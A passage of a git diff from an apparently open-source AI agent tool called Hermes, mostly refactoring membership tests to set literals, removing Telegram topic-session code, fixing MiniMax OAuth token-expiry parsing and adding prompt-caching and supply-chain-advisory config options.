f"Failed to enable Telegram topic mode: {exc}" - - if not source.thread_id: - await self._ensure_telegram_system_topic(source) - - if source.thread_id: - try: - binding = self._session_db.get_telegram_topic_binding( - chat_id=str(source.chat_id), - thread_id=str(source.thread_id), - ) - except Exception: - logger.debug("Failed to read Telegram topic binding", exc_info=True) - binding = None - if binding: - session_id = str(binding.get("session_id") or "") - title = None - try: - title = self._session_db.get_session_title(session_id) - except Exception: - title = None - session_label = title or "Untitled session" - return ( - "This topic is linked to:\n" - f"Session: {session_label}\n" - f"ID: {session_id}\n\n" - "Use /new to replace this topic with a fresh session.\n" - "For parallel work, open All Messages and send a message there " - "to create another topic." - ) - return ( - "Telegram multi-session topics are enabled.\n\n" - "This topic will be used as an independent Hermes session. " - "Use /new to replace this topic's current session. For parallel " - "work, open All Messages and send a message there to create another topic." - ) - - return self._telegram_topic_root_status_message(source) - - def _telegram_topic_root_status_message(self, source: SessionSource) -> str: - lines = [ - "Telegram multi-session topics are enabled.", - "", - "To create a new Hermes chat, open All Messages at the top of this " - "bot interface and send any message there. Telegram will create a " - "new topic for it.", - "", - ] - try: - sessions = self._session_db.list_unlinked_telegram_sessions_for_user( - chat_id=str(source.chat_id), - user_id=str(source.user_id), - limit=10, - ) - except Exception: - logger.debug("Failed to list unlinked Telegram sessions", exc_info=True) - sessions = [] - - if sessions: - lines.append("Previous unlinked sessions:") - for session in sessions: - session_id = str(session.get("id") or "") - title = str(session.get("title") or "Untitled session") - preview = str(session.get("preview") or "").strip() - line = f"- {title} — `{session_id}`" - if preview: - line += f" — {preview}" - lines.append(line) - lines.extend([ - "", - "To restore one:", - "1. Create or open a topic. To create a new one, open All Messages and send any message there.", - "2. Send /topic inside that topic.", - f"Example: Send /topic {sessions[0].get('id')} inside a topic.", - ]) - else: - lines.extend([ - "No previous unlinked Telegram sessions found.", - "", - "To restore a previous session later:", - "1. Create or open a topic. To create a new one, open All Messages and send any message there.", - "2. Send /topic inside that topic.", - ]) - return "\n".join(lines) - - async def _restore_telegram_topic_session(self, event: MessageEvent, raw_session_id: str) -> str: - """Restore an existing Telegram-owned Hermes session into this topic.""" - source = event.source - session_id = self._session_db.resolve_session_id(raw_session_id.strip()) - if not session_id: - return f"Session not found: {raw_session_id.strip()}" - - session = self._session_db.get_session(session_id) - if not session: - return f"Session not found: {raw_session_id.strip()}" - if str(session.get("source") or "") != "telegram": - return "That session is not a Telegram session and cannot be restored into this topic." - if str(session.get("user_id") or "") != str(source.user_id): - return "That session does not belong to this Telegram user." - - linked = self._session_db.is_telegram_session_linked_to_topic(session_id=session_id) - current_binding = self._session_db.get_telegram_topic_binding( - chat_id=str(source.chat_id), - thread_id=str(source.thread_id), - ) - if linked: - if not current_binding or current_binding.get("session_id") != session_id: - return "That session is already linked to another Telegram topic." - - session_key = self._session_key_for_source(source) - try: - self._session_db.bind_telegram_topic( - chat_id=str(source.chat_id), - thread_id=str(source.thread_id), - user_id=str(source.user_id), - session_key=session_key, - session_id=session_id, - managed_mode="restored", - ) - except ValueError as exc: - if "already linked" in str(exc): - return "That session is already linked to another Telegram topic." - raise - - title = self._session_db.get_session_title(session_id) or session_id - last_assistant = None - try: - for message in reversed(self._session_db.get_messages(session_id)): - if message.get("role") == "assistant" and message.get("content"): - last_assistant = str(message.get("content")) - break - except Exception: - last_assistant = None - - response = f"Session restored: {title}" - if last_assistant: - response += f"\n\nLast Hermes message:\n{last_assistant}" - return response - - async def _handle_title_command(self, event: MessageEvent) -> str: - """Handle /title command — set or show the current session's title.""" - source = event.source - session_entry = self.session_store.get_or_create_session(source) - session_id = session_entry.session_id - - if not self._session_db: - from hermes_state import format_session_db_unavailable - return format_session_db_unavailable(prefix=t("gateway.shared.session_db_unavailable_prefix")) - - # Ensure session exists in SQLite DB (it may only exist in session_store - # if this is the first command in a new session) - existing_title = self._session_db.get_session_title(session_id) - if existing_title is None: - # Session doesn't exist in DB yet — create it - try: - self._session_db.create_session( - session_id=session_id, - source=source.platform.value if source.platform else "unknown", - user_id=source.user_id, - ) - except Exception: - pass # Session might already exist, ignore errors - - title_arg = event.get_command_args().strip() - if title_arg: - # Sanitize the title before setting - try: - sanitized = self._session_db.sanitize_title(title_arg) - except ValueError as e: - return t("gateway.shared.warn_passthrough", error=e) - if not sanitized: - return t("gateway.title.empty_after_clean") - # Set the title - try: - if self._session_db.set_session_title(session_id, sanitized): - return t("gateway.title.set_to", title=sanitized) - else: - return t("gateway.title.not_found") - except ValueError as e: - return t("gateway.shared.warn_passthrough", error=e) - else: - # Show the current title and session ID - title = self._session_db.get_session_title(session_id) - if title: - return t("gateway.title.current_with_title", session_id=session_id, title=title) - else: - return t("gateway.title.current_no_title", session_id=session_id) - - async def _handle_resume_command(self, event: MessageEvent) -> str: - """Handle /resume command — switch to a previously-named session.""" - if not self._session_db: - from hermes_state import format_session_db_unavailable - return format_session_db_unavailable(prefix=t("gateway.shared.session_db_unavailable_prefix")) - - source = event.source - session_key = self._session_key_for_source(source) - name = event.get_command_args().strip() - - if not name: - # List recent titled sessions for this user/platform - try: - user_source = source.platform.value if source.platform else None - sessions = self._session_db.list_sessions_rich( - source=user_source, limit=10 - ) - titled = [s for s in sessions if s.get("title")] - if not titled: - return t("gateway.resume.no_named_sessions") - lines = [t("gateway.resume.list_header")] - for s in titled[:10]: - title = s["title"] - preview = s.get("preview", "")[:40] - preview_part = t("gateway.resume.list_preview_suffix", preview=preview) if preview else "" - lines.append(t("gateway.resume.list_item", title=title, preview_part=preview_part)) - lines.append(t("gateway.resume.list_footer")) - return "\n".join(lines) - except Exception as e: - logger.debug("Failed to list titled sessions: %s", e) - return t("gateway.resume.list_failed", error=e) - - # Resolve the name to a session ID. - target_id = self._session_db.resolve_session_by_title(name) - if not target_id: - return t("gateway.resume.not_found", name=name) - # Compression creates child continuations that hold the live transcript. - # Follow that chain so gateway /resume matches CLI behavior (#15000). - try: - target_id = self._session_db.resolve_resume_session_id(target_id) - except Exception as e: - logger.debug("Failed to resolve resume continuation for %s: %s", target_id, e) - - # Check if already on that session - current_entry = self.session_store.get_or_create_session(source) - if current_entry.session_id == target_id: - return t("gateway.resume.already_on", name=name) - - # Clear any running agent for this session key - self._release_running_agent_state(session_key) + # Clear any running agent for this session key + self._release_running_agent_state(session_key) # Switch the session entry to point at the old session new_entry = self.session_store.switch_session(session_key, target_id) @@ -12179,7 +11621,7 @@ async def _handle_usage_command(self, event: MessageEvent) -> str: history = self.session_store.load_transcript(session_entry.session_id) if history: from agent.model_metadata import estimate_messages_tokens_rough - msgs = [m for m in history if m.get("role") in ("user", "assistant") and m.get("content")] + msgs = [m for m in history if m.get("role") in {"user", "assistant"} and m.get("content")] approx = estimate_messages_tokens_rough(msgs) lines = [ t("gateway.usage.header_session_info"), @@ -12733,9 +12175,9 @@ async def _handle_approve_command(self, event: MessageEvent) -> Optional[str]: resolve_all = "all" in args remaining = [a for a in args if a != "all"] - if any(a in ("always", "permanent", "permanently") for a in remaining): + if any(a in {"always", "permanent", "permanently"} for a in remaining): choice = "always" - elif any(a in ("session", "ses") for a in remaining): + elif any(a in {"session", "ses"} for a in remaining): choice = "session" else: choice = "once" @@ -13278,11 +12720,10 @@ async def _send_update_notification(self) -> bool: msg = f"✅ Hermes update finished.\n\n```\n{output}\n```" else: msg = f"❌ Hermes update failed.\n\n```\n{output}\n```" + elif exit_code == 0: + msg = "✅ Hermes update finished successfully." else: - if exit_code == 0: - msg = "✅ Hermes update finished successfully." - else: - msg = "❌ Hermes update failed. Check the gateway logs or run `hermes update` manually for details." + msg = "❌ Hermes update failed. Check the gateway logs or run `hermes update` manually for details." await adapter.send(chat_id, msg, metadata=metadata) logger.info( "Sent post-update notification to %s:%s (exit=%s)", @@ -13853,8 +13294,8 @@ async def _run_process_watcher(self, watcher: dict) -> None: # --- Normal text-only notification --- # Decide whether to notify based on mode should_notify = ( - notify_mode in ("all", "result") - or (notify_mode == "error" and session.exit_code not in (0, None)) + notify_mode in {"all", "result"} + or (notify_mode == "error" and session.exit_code not in {0, None}) ) if should_notify: new_output = session.output_buffer[-1000:] if session.output_buffer else "" @@ -14449,7 +13890,7 @@ def _run_still_current() -> bool: for msg in history: role = msg.get("role") content = msg.get("content") - if role in ("user", "assistant") and content: + if role in {"user", "assistant"} and content: api_messages.append({"role": role, "content": content}) api_messages.append({"role": "user", "content": message}) @@ -14840,7 +14281,7 @@ def progress_callback(event_type: str, tool_name: str = None, preview: str = Non # Only act on tool.started events (ignore tool.completed, reasoning.available, etc.) - if event_type not in ("tool.started",): + if event_type not in {"tool.started",}: return # Suppress tool-progress bubbles once the user has sent `stop`. @@ -15537,7 +14978,7 @@ def _bg_review_send(message: str) -> None: # Skip metadata entries (tool definitions, session info) # -- these are for transcript logging, not for the LLM - if role in ("session_meta",): + if role in {"session_meta",}: continue # Skip system messages -- the agent rebuilds its own system prompt @@ -15574,7 +15015,7 @@ def _bg_review_send(message: str) -> None: # even if the message list shrinks, we know which paths are old. _history_media_paths: set = set() for _hm in agent_history: - if _hm.get("role") in ("tool", "function"): + if _hm.get("role") in {"tool", "function"}: _hc = _hm.get("content", "") if "MEDIA:" in _hc: for _match in re.finditer(r'MEDIA:(\S+)', _hc): @@ -15846,7 +15287,7 @@ def _approval_notify_sync(approval_data: dict) -> None: media_tags = [] has_voice_directive = False for msg in result.get("messages", []): - if msg.get("role") in ("tool", "function"): + if msg.get("role") in {"tool", "function"}: content = msg.get("content", "") if "MEDIA:" in content: for match in re.finditer(r'MEDIA:(\S+)', content): @@ -16931,10 +16372,6 @@ def shutdown_signal_handler(received_signal=None): "Received %s as a planned gateway stop — exiting cleanly", _shutdown_ctx["signal"] if _shutdown_ctx else "SIGTERM/SIGINT", ) - elif planned_stop: - logger.info( - "Received SIGTERM/SIGINT as a planned gateway stop — exiting cleanly" - ) else: _signal_initiated_shutdown = True logger.info( diff --git a/gateway/session.py b/gateway/session.py index c145625ae44e..ac6f95eec63c 100644 --- a/gateway/session.py +++ b/gateway/session.py @@ -764,12 +764,12 @@ def _is_session_expired(self, entry: SessionEntry) -> bool: now = _now() - if policy.mode in ("idle", "both"): + if policy.mode in {"idle", "both"}: idle_deadline = entry.updated_at + timedelta(minutes=policy.idle_minutes) if now > idle_deadline: return True - if policy.mode in ("daily", "both"): + if policy.mode in {"daily", "both"}: today_reset = now.replace( hour=policy.at_hour, minute=0, second=0, microsecond=0, @@ -805,12 +805,12 @@ def _should_reset(self, entry: SessionEntry, source: SessionSource) -> Optional[ now = _now() - if policy.mode in ("idle", "both"): + if policy.mode in {"idle", "both"}: idle_deadline = entry.updated_at + timedelta(minutes=policy.idle_minutes) if now > idle_deadline: return "idle" - if policy.mode in ("daily", "both"): + if policy.mode in {"daily", "both"}: today_reset = now.replace( hour=policy.at_hour, minute=0, diff --git a/gateway/session_context.py b/gateway/session_context.py index 9dc051e3a2c4..b64f31de0816 100644 --- a/gateway/session_context.py +++ b/gateway/session_context.py @@ -55,6 +55,7 @@ _SESSION_USER_ID: ContextVar = ContextVar("HERMES_SESSION_USER_ID", default=_UNSET) _SESSION_USER_NAME: ContextVar = ContextVar("HERMES_SESSION_USER_NAME", default=_UNSET) _SESSION_KEY: ContextVar = ContextVar("HERMES_SESSION_KEY", default=_UNSET) +_SESSION_ID: ContextVar = ContextVar("HERMES_SESSION_ID", default=_UNSET) # Cron auto-delivery vars — set per-job in run_job() so concurrent jobs # don't clobber each other's delivery targets. @@ -70,6 +71,7 @@ "HERMES_SESSION_USER_ID": _SESSION_USER_ID, "HERMES_SESSION_USER_NAME": _SESSION_USER_NAME, "HERMES_SESSION_KEY": _SESSION_KEY, + "HERMES_SESSION_ID": _SESSION_ID, "HERMES_CRON_AUTO_DELIVER_PLATFORM": _CRON_AUTO_DELIVER_PLATFORM, "HERMES_CRON_AUTO_DELIVER_CHAT_ID": _CRON_AUTO_DELIVER_CHAT_ID, "HERMES_CRON_AUTO_DELIVER_THREAD_ID": _CRON_AUTO_DELIVER_THREAD_ID, diff --git a/gateway/shutdown_forensics.py b/gateway/shutdown_forensics.py index 9f102f24f80c..0a52ce14f094 100644 --- a/gateway/shutdown_forensics.py +++ b/gateway/shutdown_forensics.py @@ -442,22 +442,21 @@ def _parse_systemd_duration_to_us(raw: str) -> Optional[int]: digits += ch elif ch.isalpha(): token += ch - else: - if digits and token: - multiplier = units.get(token.lower()) - if multiplier is None: - return None - try: - total_us += int(float(digits) * multiplier) - except ValueError: - return None - digits = "" - token = "" - elif digits and not token: - # Bare number = seconds (rare but valid) - try: - total_us += int(float(digits) * 1_000_000) - except ValueError: - return None - digits = "" + elif digits and token: + multiplier = units.get(token.lower()) + if multiplier is None: + return None + try: + total_us += int(float(digits) * multiplier) + except ValueError: + return None + digits = "" + token = "" + elif digits and not token: + # Bare number = seconds (rare but valid) + try: + total_us += int(float(digits) * 1_000_000) + except ValueError: + return None + digits = "" return total_us if total_us > 0 else None diff --git a/gateway/status.py b/gateway/status.py index 25df7dc02eb8..2849e7750802 100644 --- a/gateway/status.py +++ b/gateway/status.py @@ -604,7 +604,7 @@ def acquire_scoped_lock(scope: str, identity: str, metadata: Optional[dict[str, for _line in _proc_status.read_text(encoding="utf-8").splitlines(): if _line.startswith("State:"): _state = _line.split()[1] - if _state in ("T", "t"): # stopped or tracing stop + if _state in {"T", "t"}: # stopped or tracing stop stale = True break except (OSError, PermissionError): diff --git a/hermes_cli/auth.py b/hermes_cli/auth.py index 42e2f720874b..ac102d0be760 100644 --- a/hermes_cli/auth.py +++ b/hermes_cli/auth.py @@ -1450,7 +1450,7 @@ def resolve_provider( # whose availability isn't implied by LM_API_KEY presence (it may be # offline, and the no-auth setup uses a placeholder value), so it # also requires explicit selection. - if pid in ("copilot", "lmstudio"): + if pid in {"copilot", "lmstudio"}: continue for env_var in pconfig.api_key_env_vars: if has_usable_secret(os.getenv(env_var, "")): @@ -2541,7 +2541,7 @@ def refresh_codex_oauth_pure( # A 401/403 from the token endpoint always means the refresh token # is invalid/expired — force relogin even if the body error code # wasn't one of the known strings above. - if response.status_code in (401, 403) and not relogin_required: + if response.status_code in {401, 403} and not relogin_required: relogin_required = True raise AuthError( message, @@ -2947,7 +2947,7 @@ def _merge_shared_nous_oauth_state(state: Dict[str, Any]) -> bool: "expires_at", ): value = shared.get(key) - if value not in (None, ""): + if value not in {None, ""}: state[key] = value return True @@ -3986,7 +3986,7 @@ def get_api_key_provider_status(provider_id: str) -> Dict[str, Any]: if pconfig.base_url_env_var: env_url = os.getenv(pconfig.base_url_env_var, "").strip() - if provider_id in ("kimi-coding", "kimi-coding-cn"): + if provider_id in {"kimi-coding", "kimi-coding-cn"}: base_url = _resolve_kimi_base_url(api_key, pconfig.inference_base_url, env_url) elif env_url: base_url = env_url @@ -4046,6 +4046,8 @@ def get_auth_status(provider_id: Optional[str] = None) -> Dict[str, Any]: return get_qwen_auth_status() if target == "google-gemini-cli": return get_gemini_oauth_auth_status() + if target == "minimax-oauth": + return get_minimax_oauth_auth_status() if target == "copilot-acp": return get_external_process_provider_status(target) # API-key providers @@ -4090,7 +4092,7 @@ def resolve_api_key_provider_credentials(provider_id: str) -> Dict[str, Any]: if pconfig.base_url_env_var: env_url = os.getenv(pconfig.base_url_env_var, "").strip() - if provider_id in ("kimi-coding", "kimi-coding-cn"): + if provider_id in {"kimi-coding", "kimi-coding-cn"}: base_url = _resolve_kimi_base_url(api_key, pconfig.inference_base_url, env_url) elif provider_id == "zai": base_url = _resolve_zai_base_url(api_key, pconfig.inference_base_url, env_url) @@ -4510,7 +4512,7 @@ def _login_openai_codex( reuse = input("Use existing credentials? [Y/n]: ").strip().lower() except (EOFError, KeyboardInterrupt): reuse = "y" - if reuse in ("", "y", "yes"): + if reuse in {"", "y", "yes"}: config_path = _update_config_for_provider("openai-codex", existing.get("base_url", DEFAULT_CODEX_BASE_URL)) print() print("Login successful!") @@ -4531,7 +4533,7 @@ def _login_openai_codex( do_import = input("Import these credentials? (a separate login is recommended) [y/N]: ").strip().lower() except (EOFError, KeyboardInterrupt): do_import = "n" - if do_import in ("y", "yes"): + if do_import in {"y", "yes"}: _save_codex_tokens(cli_tokens) base_url = os.getenv("HERMES_CODEX_BASE_URL", "").strip().rstrip("/") or DEFAULT_CODEX_BASE_URL config_path = _update_config_for_provider("openai-codex", base_url) @@ -4623,7 +4625,7 @@ def _codex_device_code_login() -> Dict[str, Any]: if poll_resp.status_code == 200: code_resp = poll_resp.json() break - elif poll_resp.status_code in (403, 404): + elif poll_resp.status_code in {403, 404}: continue # User hasn't completed login yet else: raise AuthError( @@ -4757,6 +4759,20 @@ def _minimax_request_user_code( return payload +def _minimax_expired_in_looks_like_unix_ms(expired_in: int, *, now_ms: int) -> bool: + """True if ``expired_in`` is plausibly a unix-ms absolute time (vs TTL seconds).""" + return int(expired_in) > (now_ms // 2) + + +def _minimax_resolve_token_expiry_unix(expired_in: int, *, now: datetime) -> float: + """Return access-token expiry as unix seconds (MiniMax uses ms epoch or TTL seconds).""" + raw = int(expired_in) + now_ms = int(now.timestamp() * 1000) + if _minimax_expired_in_looks_like_unix_ms(raw, now_ms=now_ms): + return raw / 1000.0 + return now.timestamp() + max(1, raw) + + def _minimax_poll_token( client: httpx.Client, *, portal_base_url: str, client_id: str, user_code: str, code_verifier: str, expired_in: int, interval_ms: Optional[int], @@ -4765,12 +4781,11 @@ def _minimax_poll_token( # Defensive parsing: if it's small enough to be a duration, treat as seconds. import time as _time now_ms = int(_time.time() * 1000) - if expired_in > now_ms // 2: - # Looks like a unix-ms timestamp. - deadline = expired_in / 1000.0 + raw = int(expired_in) + if _minimax_expired_in_looks_like_unix_ms(raw, now_ms=now_ms): + deadline = raw / 1000.0 else: - # Treat as duration in seconds from now. - deadline = _time.time() + max(1, expired_in) + deadline = _time.time() + max(1, raw) interval = max(2.0, (interval_ms or 2000) / 1000.0) while _time.time() < deadline: @@ -4884,8 +4899,10 @@ def _minimax_oauth_login( ) now = datetime.now(timezone.utc) - expires_in_s = int(token_data["expired_in"]) - expires_at = now.timestamp() + expires_in_s + expires_at_unix = _minimax_resolve_token_expiry_unix( + int(token_data["expired_in"]), now=now, + ) + expires_in_s = max(0, int(expires_at_unix - now.timestamp())) auth_state = { "provider": "minimax-oauth", @@ -4899,7 +4916,7 @@ def _minimax_oauth_login( "refresh_token": token_data["refresh_token"], "resource_url": token_data.get("resource_url"), "obtained_at": now.isoformat(), - "expires_at": datetime.fromtimestamp(expires_at, tz=timezone.utc).isoformat(), + "expires_at": datetime.fromtimestamp(expires_at_unix, tz=timezone.utc).isoformat(), "expires_in": expires_in_s, } @@ -4960,14 +4977,16 @@ def _refresh_minimax_oauth_state( relogin_required=True, ) now_dt = datetime.now(timezone.utc) - expires_in_s = int(payload["expired_in"]) + expires_at_unix = _minimax_resolve_token_expiry_unix( + int(payload["expired_in"]), now=now_dt, + ) + expires_in_s = max(0, int(expires_at_unix - now_dt.timestamp())) new_state = dict(state) new_state.update({ "access_token": payload["access_token"], "refresh_token": payload.get("refresh_token", state["refresh_token"]), "obtained_at": now_dt.isoformat(), - "expires_at": datetime.fromtimestamp(now_dt.timestamp() + expires_in_s, - tz=timezone.utc).isoformat(), + "expires_at": datetime.fromtimestamp(expires_at_unix, tz=timezone.utc).isoformat(), "expires_in": expires_in_s, }) _minimax_save_auth_state(new_state) @@ -5188,7 +5207,7 @@ def _login_nous(args, pconfig: ProviderConfig) -> None: do_import = input("Import these credentials? [Y/n]: ").strip().lower() except (EOFError, KeyboardInterrupt): do_import = "y" - if do_import in ("", "y", "yes"): + if do_import in {"", "y", "yes"}: print("Rehydrating Nous session from shared credentials...") auth_state = _try_import_shared_nous_state( timeout_seconds=timeout_seconds, @@ -5251,6 +5270,7 @@ def _login_nous(args, pconfig: ProviderConfig) -> None: from hermes_cli.models import ( get_curated_nous_model_ids, get_pricing_for_provider, check_nous_free_tier, partition_nous_models_by_tier, + union_with_portal_free_recommendations, ) model_ids = get_curated_nous_model_ids() @@ -5260,6 +5280,15 @@ def _login_nous(args, pconfig: ProviderConfig) -> None: pricing = get_pricing_for_provider("nous") free_tier = check_nous_free_tier() if free_tier: + # The Portal's freeRecommendedModels endpoint is the + # source of truth for what's free *right now*. Augment + # the curated list with anything new the Portal flags + # as free so users on older Hermes builds still see + # newly-launched free models without a CLI release. + _portal_for_recs = auth_state.get("portal_base_url", "") + model_ids, pricing = union_with_portal_free_recommendations( + model_ids, pricing, _portal_for_recs, + ) model_ids, unavailable_models = partition_nous_models_by_tier( model_ids, pricing, free_tier=True, ) diff --git a/hermes_cli/auth_commands.py b/hermes_cli/auth_commands.py index 4312f688a3f7..65cb7ed1b850 100644 --- a/hermes_cli/auth_commands.py +++ b/hermes_cli/auth_commands.py @@ -266,7 +266,7 @@ def auth_add_command(args) -> None: do_import = input("Import these credentials? [Y/n]: ").strip().lower() except (EOFError, KeyboardInterrupt): do_import = "y" - if do_import in ("", "y", "yes"): + if do_import in {"", "y", "yes"}: print("Rehydrating Nous session from shared credentials...") rehydrated = auth_mod._try_import_shared_nous_state( timeout_seconds=getattr(args, "timeout", None) or 15.0, @@ -375,10 +375,12 @@ def auth_add_command(args) -> None: return if provider == "minimax-oauth": - from hermes_cli.auth import resolve_minimax_oauth_runtime_credentials - creds = resolve_minimax_oauth_runtime_credentials() + creds = auth_mod._minimax_oauth_login( + open_browser=not getattr(args, "no_browser", False), + timeout_seconds=getattr(args, "timeout", None) or 15.0, + ) label = (getattr(args, "label", None) or "").strip() or label_from_token( - creds["api_key"], + creds["access_token"], _oauth_default_label(provider, len(pool.entries()) + 1), ) entry = PooledCredential( @@ -388,8 +390,9 @@ def auth_add_command(args) -> None: auth_type=AUTH_TYPE_OAUTH, priority=0, source=f"{SOURCE_MANUAL}:minimax_oauth", - access_token=creds["api_key"], - base_url=creds.get("base_url"), + access_token=creds["access_token"], + refresh_token=creds.get("refresh_token"), + base_url=creds.get("inference_base_url"), ) pool.add_entry(entry) print(f'Added {provider} OAuth credential #{len(pool.entries())}: "{entry.label}"') diff --git a/hermes_cli/backup.py b/hermes_cli/backup.py index 4237c678b19c..a137509d7b12 100644 --- a/hermes_cli/backup.py +++ b/hermes_cli/backup.py @@ -298,7 +298,7 @@ def _detect_prefix(zf: zipfile.ZipFile) -> str: if len(first_parts) == 1: prefix = first_parts.pop() # Only strip if it looks like a hermes dir name - if prefix in (".hermes", "hermes"): + if prefix in {".hermes", "hermes"}: return prefix + "/" return "" @@ -349,7 +349,7 @@ def run_import(args) -> None: except (EOFError, KeyboardInterrupt): print("\nAborted.") sys.exit(1) - if answer not in ("y", "yes"): + if answer not in {"y", "yes"}: print("Aborted.") return @@ -802,8 +802,7 @@ def _prune_pre_update_backups(backup_dir: Path, keep: int) -> int: Operators who genuinely don't want a backup should set ``updates.pre_update_backup: false`` in config — that gates creation. """ - if keep < 1: - keep = 1 + keep = max(keep, 1) if not backup_dir.exists(): return 0 @@ -875,8 +874,7 @@ def _prune_pre_migration_backups(backup_dir: Path, keep: int) -> int: Only touches files matching ``pre-migration-*.zip`` so other backups in the same directory are never touched. """ - if keep < 0: - keep = 0 + keep = max(keep, 0) if not backup_dir.exists(): return 0 diff --git a/hermes_cli/checkpoints.py b/hermes_cli/checkpoints.py index cac5cd0979f5..2c0d3dd107b4 100644 --- a/hermes_cli/checkpoints.py +++ b/hermes_cli/checkpoints.py @@ -139,7 +139,7 @@ def _confirm(prompt: str) -> bool: except (EOFError, KeyboardInterrupt): print() return False - return resp in ("y", "yes") + return resp in {"y", "yes"} def cmd_clear(args: argparse.Namespace) -> int: diff --git a/hermes_cli/claw.py b/hermes_cli/claw.py index 5455b4355d05..909b046f1f72 100644 --- a/hermes_cli/claw.py +++ b/hermes_cli/claw.py @@ -298,7 +298,7 @@ def claw_command(args): if action == "migrate": _cmd_migrate(args) - elif action in ("cleanup", "clean"): + elif action in {"cleanup", "clean"}: _cmd_cleanup(args) else: print("Usage: hermes claw [options]") @@ -670,17 +670,16 @@ def _cmd_cleanup(args): elif not auto_yes and not sys.stdin.isatty(): print_info(f"Non-interactive session — would archive: {source_dir}") print_info("To execute, re-run with: hermes claw cleanup --yes") + elif auto_yes or prompt_yes_no(f"Archive {source_dir}?", default=True): + try: + archive_path = _archive_directory(source_dir) + print_success(f"Archived: {source_dir} → {archive_path}") + total_archived += 1 + except OSError as e: + print_error(f"Could not archive: {e}") + print_info(f"Try manually: mv {source_dir} {source_dir}.pre-migration") else: - if auto_yes or prompt_yes_no(f"Archive {source_dir}?", default=True): - try: - archive_path = _archive_directory(source_dir) - print_success(f"Archived: {source_dir} → {archive_path}") - total_archived += 1 - except OSError as e: - print_error(f"Could not archive: {e}") - print_info(f"Try manually: mv {source_dir} {source_dir}.pre-migration") - else: - print_info("Skipped.") + print_info("Skipped.") # Summary print() diff --git a/hermes_cli/codex_models.py b/hermes_cli/codex_models.py index 8e50004c2d6c..e45ba33f8eb3 100644 --- a/hermes_cli/codex_models.py +++ b/hermes_cli/codex_models.py @@ -101,7 +101,7 @@ def _fetch_models_from_api(access_token: str) -> List[str]: # Some valid Codex CLI models (for example gpt-5.3-codex-spark) are # marked false here but are still accepted by the Codex route. visibility = item.get("visibility", "") - if isinstance(visibility, str) and visibility.strip().lower() in ("hide", "hidden"): + if isinstance(visibility, str) and visibility.strip().lower() in {"hide", "hidden"}: continue priority = item.get("priority") rank = int(priority) if isinstance(priority, (int, float)) else 10_000 @@ -152,7 +152,7 @@ def _read_cache_models(codex_home: Path) -> List[str]: # public OpenAI API, while Hermes openai-codex talks to the same # OAuth-backed Codex backend as Codex CLI. visibility = item.get("visibility") - if isinstance(visibility, str) and visibility.strip().lower() in ("hide", "hidden"): + if isinstance(visibility, str) and visibility.strip().lower() in {"hide", "hidden"}: continue priority = item.get("priority") rank = int(priority) if isinstance(priority, (int, float)) else 10_000 diff --git a/hermes_cli/commands.py b/hermes_cli/commands.py index e2727c25bab2..da0c0692dc46 100644 --- a/hermes_cli/commands.py +++ b/hermes_cli/commands.py @@ -813,7 +813,7 @@ def discord_skill_commands_by_category( # names are marked with a sentinel so the warning distinguishes # "skill collided with a reserved command" from "two skills collided # on the 32-char clamp" — the latter is the rename-worthy case. - _names_used: dict[str, str] = {n: "" for n in reserved_names} + _names_used: dict[str, str] = dict.fromkeys(reserved_names, "") hidden = 0 try: diff --git a/hermes_cli/config.py b/hermes_cli/config.py index feeb10892f2f..d7585dc30100 100644 --- a/hermes_cli/config.py +++ b/hermes_cli/config.py @@ -723,8 +723,15 @@ def _ensure_hermes_home_managed(home: Path): # Anthropic prompt caching (Claude via OpenRouter or native Anthropic API). # cache_ttl must be "5m" or "1h" (Anthropic-supported tiers); other values are ignored. + # long_lived_prefix: when true (default), Claude on Anthropic / OpenRouter / Nous + # Portal uses a split layout: tools[-1] + stable system prefix at long_lived_ttl + # (cross-session cache), last 2 messages at cache_ttl (within-session rolling). + # Set false to keep the legacy "system + last 3 messages" single-tier layout. + # long_lived_ttl: TTL for the cross-session prefix tier ("5m" or "1h"; default "1h"). "prompt_caching": { "cache_ttl": "5m", + "long_lived_prefix": True, + "long_lived_ttl": "1h", }, # OpenRouter-specific settings. @@ -1325,6 +1332,21 @@ def _ensure_hermes_home_managed(home: Path): "domains": [], "shared_files": [], }, + # Acknowledged supply-chain security advisories. Each entry is the + # ID of an advisory the user has read and acted on (uninstalled the + # compromised package, rotated credentials). Acked advisories no + # longer trigger the startup banner. Add via `hermes doctor --ack + # `; remove by editing the list directly. See + # ``hermes_cli/security_advisories.py`` for the catalog. + "acked_advisories": [], + # Allow Hermes to lazy-install opt-in backend packages from PyPI + # the first time the user enables a backend that needs them + # (e.g. installing ``elevenlabs`` when the user picks ElevenLabs as + # their TTS provider). Set to false to require explicit + # ``pip install`` for everything beyond the base set — appropriate + # for restricted networks, audited environments, or air-gapped + # systems where any runtime install is unacceptable. + "allow_lazy_installs": True, }, "cron": { @@ -3202,7 +3224,7 @@ def warn_deprecated_cwd_env_vars(config: Optional[Dict[str, Any]] = None) -> Non terminal_cfg = config.get("terminal", {}) config_cwd = terminal_cfg.get("cwd", ".") if isinstance(terminal_cfg, dict) else "." # Only warn if config.yaml doesn't have an explicit path - config_has_explicit_cwd = config_cwd not in (".", "auto", "cwd", "") + config_has_explicit_cwd = config_cwd not in {".", "auto", "cwd", ""} lines: list[str] = [] if messaging_cwd: @@ -3262,10 +3284,10 @@ def migrate_config(interactive: bool = True, quiet: bool = False) -> Dict[str, A if "tool_progress" not in display: old_enabled = get_env_value("HERMES_TOOL_PROGRESS") old_mode = get_env_value("HERMES_TOOL_PROGRESS_MODE") - if old_enabled and old_enabled.lower() in ("false", "0", "no"): + if old_enabled and old_enabled.lower() in {"false", "0", "no"}: display["tool_progress"] = "off" results["config_added"].append("display.tool_progress=off (from HERMES_TOOL_PROGRESS=false)") - elif old_mode and old_mode.lower() in ("new", "all"): + elif old_mode and old_mode.lower() in {"new", "all"}: display["tool_progress"] = old_mode.lower() results["config_added"].append(f"display.tool_progress={old_mode.lower()} (from HERMES_TOOL_PROGRESS_MODE)") else: @@ -3344,7 +3366,7 @@ def migrate_config(interactive: bool = True, quiet: bool = False) -> Dict[str, A new_entry = {"api": old_url} if old_name: new_entry["name"] = old_name - if old_key and old_key not in ("no-key", "no-key-required", ""): + if old_key and old_key not in {"no-key", "no-key-required", ""}: new_entry["api_key"] = old_key # Carry over model and api_mode if present @@ -3402,7 +3424,7 @@ def migrate_config(interactive: bool = True, quiet: bool = False) -> Dict[str, A stt.pop("model", None) # Place it in the appropriate provider section only if the # user didn't already set a model there - if provider in ("local", "local_command"): + if provider in {"local", "local_command"}: # Don't migrate an OpenAI model name into the local section _local_models = { "tiny.en", "tiny", "base.en", "base", "small.en", "small", @@ -3486,7 